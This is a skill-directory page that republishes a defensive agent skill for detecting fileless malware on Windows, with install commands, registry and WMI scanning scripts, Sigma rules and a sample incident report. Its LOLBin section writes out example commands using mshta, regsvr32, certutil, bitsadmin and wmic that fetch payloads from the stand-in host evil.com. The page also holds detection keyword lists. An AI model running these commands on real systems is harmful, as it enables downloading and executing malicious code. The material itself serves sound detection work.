Ctf Malware
ljagiello/ctf-skills
Provides malware analysis and network traffic techniques for CTF challenges.
Agent skill
Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing…
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills detecting-fileless-malware-techniques --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/detecting-fileless-malware-techniques .claude/skills/detecting-fileless-malware-techniques && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "detecting-fileless-malware-techniques" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/detecting-fileless-malware-techniques into .claude/skills/detecting-fileless-malware-techniques/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "detecting-fileless-malware-techniques", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/detecting-fileless-malware-techniquesType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills detecting-fileless-malware-techniques --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/detecting-fileless-malware-techniques .agents/skills/detecting-fileless-malware-techniques && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "detecting-fileless-malware-techniques" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/detecting-fileless-malware-techniques into .agents/skills/detecting-fileless-malware-techniques/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "detecting-fileless-malware-techniques", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills detecting-fileless-malware-techniques --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/detecting-fileless-malware-techniques .cursor/skills/detecting-fileless-malware-techniques && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "detecting-fileless-malware-techniques" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/detecting-fileless-malware-techniques into .cursor/skills/detecting-fileless-malware-techniques/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "detecting-fileless-malware-techniques", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git --path skills/detecting-fileless-malware-techniques--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills detecting-fileless-malware-techniques --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/detecting-fileless-malware-techniques .gemini/skills/detecting-fileless-malware-techniques && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "detecting-fileless-malware-techniques" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/detecting-fileless-malware-techniques into .gemini/skills/detecting-fileless-malware-techniques/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "detecting-fileless-malware-techniques", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills detecting-fileless-malware-techniquesInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/detecting-fileless-malware-techniques .github/skills/detecting-fileless-malware-techniques && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "detecting-fileless-malware-techniques" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/detecting-fileless-malware-techniques into .github/skills/detecting-fileless-malware-techniques/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "detecting-fileless-malware-techniques", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills detecting-fileless-malware-techniques --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/detecting-fileless-malware-techniques .opencode/skills/detecting-fileless-malware-techniques && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "detecting-fileless-malware-techniques" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/detecting-fileless-malware-techniques into .opencode/skills/detecting-fileless-malware-techniques/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "detecting-fileless-malware-techniques", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
detecting-fileless-malware-techniquesDetects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing…
Detecting Fileless Malware Techniques is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Use for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.
Its SKILL.md is about 4.2k tokens, which your agent loads only when the skill is triggered. The skill folder holds 6 other files, including scripts and reference files (for example `references/api-reference.md` and `scripts/agent.py`).
It sits in Security. It works with PowerShell and .NET. The repository describes itself as: 817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io…. The licence is Apache-2.0.
6 steps, taken from the step headings in SKILL.md.
Read from SKILL.md and the folder at commit 54a7988. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Ships 1 file in scripts/ (Python), which the agent can run.
Shell commands in SKILL.md call:
python3From the folder's file list and the shell code blocks in SKILL.md.
Hosts in commands or code, which the agent is likely to contact:
schemas.microsoft.comAlso links to:
lolbas-project.github.ioFrom URLs in SKILL.md, links to its own repository left out.
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Detecting Fileless Malware Techniques loads about 4.2k tokens when it runs, and up to ~4.9k if it reads all its reference files. Until then it costs about 104 tokens; SKILL.md has 709 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); the scripts in this folder are not scanned.
The full file from mukul975/Anthropic-Cybersecurity-Skills at commit 54a7988, republished under its Apache-2.0 licence (© mukul975). 709 words, ~4,164 tokens.
.claude/skills/detecting-fileless-malware-techniques/SKILL.md (or your agent's skills folder). This skill also uses 4 other files; get the full folder from GitHub.Do not use for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.
Some endpoint antivirus products — notably Windows Defender (signature Trojan:script/Wacatac.H!ml) — may quarantine this skill's SKILL.md as malicious. This is a known false positive: the file intentionally documents fileless attack patterns (LOLBins, encoded PowerShell, memory YARA indicators) for defensive detection and investigation. The content is educational only; it does not execute code.
If quarantined: restore the file from quarantine, add an exclusion for your local agent skills directory, and see GitHub issue #100 for discussion. YARA strings live in references/yara-fileless-powershell.yar (not inline in this file) to reduce scanner triggers while preserving the rule for analysts.
Detect abuse of legitimate Windows binaries for malicious purposes:
Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
Abuse: Execute HTA files with embedded VBScript/JScript
Example: mshta http://evil.com/payload.hta
Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
Detect: mshta.exe with URL argument or vbscript: prefix
regsvr32.exe:
Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
Detect: regsvr32.exe with /i: URL parameter
certutil.exe:
Abuse: Download files, decode Base64
Example: certutil -urlcache -split -f http://evil.com/payload.exe
Example: certutil -decode encoded.txt payload.exe
Detect: certutil.exe with -urlcache or -decode arguments
rundll32.exe:
Abuse: Execute DLL functions, JavaScript
Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
Detect: rundll32.exe with javascript: argument
wmic.exe:
Abuse: Execute code via XSL stylesheets
Example: wmic process get brief /format:"http://evil.com/payload.xsl"
Detect: wmic.exe with /format: URL parameter
bitsadmin.exe:
Abuse: Download files via BITS
Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
Detect: bitsadmin.exe with /transfer or /addfile to external URL
cmstp.exe:
Abuse: Execute commands via INF file
Example: cmstp.exe /ni /s payload.inf
Detect: cmstp.exe execution from non-standard locationsAnalyze WMI event subscriptions used for fileless persistence:
# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list
# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding# Parse Sysmon WMI events (Event IDs 19, 20, 21)
import subprocess
import xml.etree.ElementTree as ET
# WMI Event Filter creation (EID 19)
result = subprocess.run(
["wevtutil", "qe", "Microsoft-Windows-Sysmon/Operational",
"/q:*[System[EventID=19 or EventID=20 or EventID=21]]", "/f:xml", "/c:50"],
capture_output=True, text=True
)
ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
for event_xml in result.stdout.split("</Event>"):
if not event_xml.strip():
continue
try:
root = ET.fromstring(event_xml + "</Event>")
eid = root.find(".//e:System/e:EventID", ns).text
data = {}
for d in root.findall(".//e:EventData/e:Data", ns):
data[d.get("Name")] = d.text
if eid == "19":
print(f"[!] WMI Filter Created: {data.get('Name')}")
print(f" Query: {data.get('Query')}")
elif eid == "20":
print(f"[!] WMI Consumer Created: {data.get('Name')}")
print(f" Type: {data.get('Type')}")
print(f" Destination: {data.get('Destination')}")
elif eid == "21":
print(f"[!] WMI Binding Created")
print(f" Consumer: {data.get('Consumer')}")
print(f" Filter: {data.get('Filter')}")
except:
passFind malicious code stored in the Windows Registry:
# Common registry locations for fileless payloads
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\Environment" /s
# Check for PowerShell encoded commands in registry values
# Malware stores Base64-encoded payloads in custom registry keys
reg query "HKCU\Software" /s /f "powershell" 2>nul
reg query "HKCU\Software" /s /f "-enc" 2>nul
# Check for large registry values (possible stored payloads)
python3 << 'PYEOF'
import winreg
import base64
suspicious_keys = [
(winreg.HKEY_CURRENT_USER, r"Software"),
(winreg.HKEY_LOCAL_MACHINE, r"Software"),
]
def scan_registry(hive, path, depth=0):
if depth > 3:
return
try:
key = winreg.OpenKey(hive, path)
i = 0
while True:
try:
name, value, vtype = winreg.EnumValue(key, i)
if isinstance(value, str) and len(value) > 500:
# Check for Base64-encoded content
try:
decoded = base64.b64decode(value[:100])
print(f"[!] Large Base64 value: {path}\\{name} ({len(value)} bytes)")
except:
pass
# Check for PowerShell keywords
if any(kw in value.lower() for kw in ["powershell", "invoke", "iex", "-enc"]):
print(f"[!] PowerShell in registry: {path}\\{name}")
i += 1
except WindowsError:
break
# Recurse into subkeys
j = 0
while True:
try:
subkey = winreg.EnumKey(key, j)
scan_registry(hive, f"{path}\\{subkey}", depth + 1)
j += 1
except WindowsError:
break
except:
pass
for hive, path in suspicious_keys:
scan_registry(hive, path)
PYEOFUse memory forensics to find in-memory-only malware:
# Process with injected code (no backing file)
vol3 -f memory.dmp windows.malfind
# Check for .NET assemblies loaded from memory (not from disk files)
vol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i "PAGE_EXECUTE"
# PowerShell CLR usage (indicates .NET reflection loading)
vol3 -f memory.dmp windows.cmdline | grep -i "powershell"
# Scan for known fileless frameworks
# YARA rule lives in references/yara-fileless-powershell.yar (kept separate to reduce AV false positives)
vol3 -f memory.dmp yarascan.YaraScan --yara-file /path/to/yara-fileless-powershell.yar
# Extract PowerShell command history from memory
vol3 -f memory.dmp windows.cmdline
# Search memory strings for common fileless indicators (encoded commands, cradles, reflection)
strings memory.dmp | grep -iE 'encodedcommand|downloadstring|invoke-expression|\.reflection\.'Create detection content for fileless techniques:
# Sigma rule: LOLBin execution with network activity
title: Suspicious LOLBin Execution with Network Arguments
logsource:
category: process_creation
product: windows
detection:
selection_mshta:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'http'
- 'vbscript:'
- 'javascript:'
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-urlcache'
- '-decode'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains: '/i:http'
selection_wmic:
Image|endswith: '\wmic.exe'
CommandLine|contains: '/format:http'
condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic
level: high# Sigma rule: WMI persistence creation
title: WMI Event Subscription for Persistence
logsource:
product: windows
service: sysmon
detection:
selection:
EventID:
- 19 # WMI EventFilter
- 20 # WMI EventConsumer
- 21 # WMI FilterConsumerBinding
condition: selection
level: mediumMap the complete fileless attack lifecycle:
Typical Fileless Attack Chain:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Phase 1 - Initial Access:
Email -> Macro -> mshta.exe/PowerShell (LOLBin abuse)
OR Web exploit -> regsvr32/certutil (scriptlet download)
Phase 2 - Execution:
PowerShell downloads and executes script in memory
.NET Assembly.Load() for reflective loading
WMI process creation for lateral movement
Phase 3 - Persistence:
WMI event subscription (survives reboots)
Registry-stored encoded payload (loaded by Run key)
Scheduled task executing inline PowerShell
Phase 4 - Privilege Escalation:
PowerShell with Invoke-Mimikatz (in-memory credential theft)
Named pipe impersonation via WMI
Phase 5 - Lateral Movement:
WMI remote process creation (no file transfer needed)
PowerShell remoting (WinRM)
PsExec via WMI
Phase 6 - Exfiltration:
PowerShell HTTP POST to C2
DNS tunneling via Invoke-DNSExfiltration
Cloud storage API (OneDrive, Google Drive)| Term | Definition |
|---|---|
| Fileless Malware | Malware operating entirely in memory or within legitimate system tools without creating traditional executable files on disk |
| LOLBins (Living Off the Land Binaries) | Legitimate system binaries (mshta, regsvr32, certutil) abused by attackers to execute malicious code while evading application whitelisting |
| WMI Event Subscription | Windows Management Instrumentation persistence mechanism using event filters, consumers, and bindings to execute code on system events |
| Registry-Resident Payload | Malicious code stored as encoded data in Windows Registry values, loaded and executed by a small stub in a Run key |
| Reflective Loading | Loading .NET assemblies or PE files from byte arrays in memory using Assembly.Load() without writing to disk |
| In-Memory Execution | Running code directly in RAM without creating files, leveraging process injection, reflective loading, or script interpreters |
| Script Block Logging | Windows PowerShell logging feature (Event ID 4104) that captures script content after deobfuscation, essential for fileless threat visibility |
Context: Sysmon alerts show WMI event subscription creation followed by periodic PowerShell execution without any corresponding malware files on disk. The attack persists across reboots.
Approach:
Pitfalls:
FILELESS MALWARE ANALYSIS REPORT
===================================
Incident: INC-2025-2847
Attack Type: Fileless (no malware files on disk)
INITIAL ACCESS
Vector: Phishing email with macro-enabled document
LOLBin Chain: WINWORD.EXE -> mshta.exe -> powershell.exe
PERSISTENCE MECHANISM
Type: WMI Event Subscription
Filter Name: WindowsUpdateCheck
Filter Query: SELECT * FROM __InstanceModificationEvent WITHIN 300
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
Consumer: CommandLineEventConsumer
Command: powershell.exe -nop -w hidden -enc <BASE64_UTF16LE_PAYLOAD>
DECODED PAYLOAD
[Layer 1] Base64 UTF-16LE decode
[Layer 2] AMSI bypass + Assembly.Load() of embedded .NET payload
[Layer 3] .NET RAT with C2 communication to 185.220.101[.]42
REGISTRY PAYLOADS
HKCU\Software\AppDataLow\Config\data = [Base64 encoded .NET assembly, 247KB]
Loaded by: PowerShell WMI consumer script
MEMORY ARTIFACTS
PID 4012 (powershell.exe): Injected .NET assembly at 0x00400000
- CobaltStrike beacon detected via YARA
- C2: hxxps://185.220.101[.]42/updates
EXTRACTED IOCs
C2 IP: 185.220.101[.]42
WMI Filter: WindowsUpdateCheck
Registry Path: HKCU\Software\AppDataLow\Config\data
PowerShell Flags: -nop -w hidden -enc
MITRE ATT&CK
T1059.001 PowerShell
T1546.003 WMI Event Subscription
T1218.005 Mshta
T1112 Modify Registry
T1055.012 Process Hollowing© mukul975, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
SKILL.md and 4 other files (scripts, references) in skills/detecting-fileless-malware-techniques of mukul975/Anthropic-Cybersecurity-Skills.
Open the folder on GitHubat commit 54a7988
Detecting Fileless Malware Techniques next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Detecting Fileless Malware Techniques this skillmukul975/Anthropic-Cybersecurity-Skills | 34k | — | ~4.2k | Automated safety check: Pass | Apache-2.0 | |
| Ctf Malwareljagiello/ctf-skills | 3.4k | — | ~2.1k | Automated safety check: Notes | MIT | |
| Windows Av Evasionyaklang/hack-skills | 2.4k | — | ~2.9k | Automated safety check: Pass | MIT | |
| Copilot Session Failure Analysisdotnet/maui | 23k | — | ~3.4k | Automated safety check: Pass | MIT | |
| Evaluate PR Testsdotnet/maui | 23k | — | ~2.9k | Automated safety check: Pass | MIT | |
| Analyze Azdo BuildDataDog/dd-trace-dotnet | 573 | — | ~3.5k | Automated safety check: Pass | Apache-2.0 |
ljagiello/ctf-skills
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mukul975/Anthropic-Cybersecurity-Skills
Weighs infrastructure, TTP, malware code and timing evidence with the Diamond Model and competing hypotheses to reach a confidence-rated attribution.
mukul975/Anthropic-Cybersecurity-Skills
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mukul975/Anthropic-Cybersecurity-Skills
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mukul975/Anthropic-Cybersecurity-Skills
Hunts Windows malware persistence with Sysinternals Autoruns, covering run keys, services, scheduled tasks and drivers, with baseline comparison.
mukul975/Anthropic-Cybersecurity-Skills
Guides a Windows forensic examination of the NTFS Master File Table to recover deleted-file evidence, build timelines and spot timestomping.
mukul975/Anthropic-Cybersecurity-Skills
Detects DNS tunneling, ICMP exfiltration and HTTP-based covert channels in packet captures and DNS logs when hunting for hidden command-and-control traffic.
Works with
Categories
Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing…. Detecting Fileless Malware Techniques is an agent skill from mukul975/Anthropic-Cybersecurity-Skills.NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk.
Detecting Fileless Malware Techniques fits situations like: requests involving fileless threat detection; in-memory malware investigation; LOLBin abuse analysis; WMI persistence examination.
Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques -a claude-code`. Or copy the skill folder (skills/detecting-fileless-malware-techniques in mukul975/Anthropic-Cybersecurity-Skills) into .claude/skills/detecting-fileless-malware-techniques in your project. Claude Code loads it when a task matches its description.
Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques -a codex`. Or copy the skill folder (skills/detecting-fileless-malware-techniques in mukul975/Anthropic-Cybersecurity-Skills) into .agents/skills/detecting-fileless-malware-techniques in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/detecting-fileless-malware-techniques, .gemini/skills/detecting-fileless-malware-techniques, .github/skills/detecting-fileless-malware-techniques and .opencode/skills/detecting-fileless-malware-techniques in your project.
Going by SKILL.md and its folder, Detecting Fileless Malware Techniques needs Python for the scripts in its folder and the command-line tools its instructions call (python3). Our summary lists: Python 3.
SKILL.md names 2 domains. In commands or code: schemas.microsoft.com; the agent is likely to contact it when it follows the instructions. As links in the text: lolbas-project.github.io. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. The check reads SKILL.md only: the scripts in the folder are not scanned, so read them before running anything.
Detecting Fileless Malware Techniques is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.
About 4.2k tokens (SKILL.md is roughly 17k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full. Its references folder adds about 770 tokens, read only when the agent opens those files.
Skills that share tags, products or a category with Detecting Fileless Malware Techniques: Ctf Malware (ljagiello/ctf-skills, 3.4k stars), Windows Av Evasion (yaklang/hack-skills, 2.4k stars), Copilot Session Failure Analysis (dotnet/maui, 23k stars) and Evaluate PR Tests (dotnet/maui, 23k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
mukul975 (a GitHub user) maintains it in mukul975/Anthropic-Cybersecurity-Skills, which has 33,993 GitHub stars. The repository holds 644 skills in this directory. The repository was last updated on August 31, 2026.
Source: mukul975/Anthropic-Cybersecurity-Skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.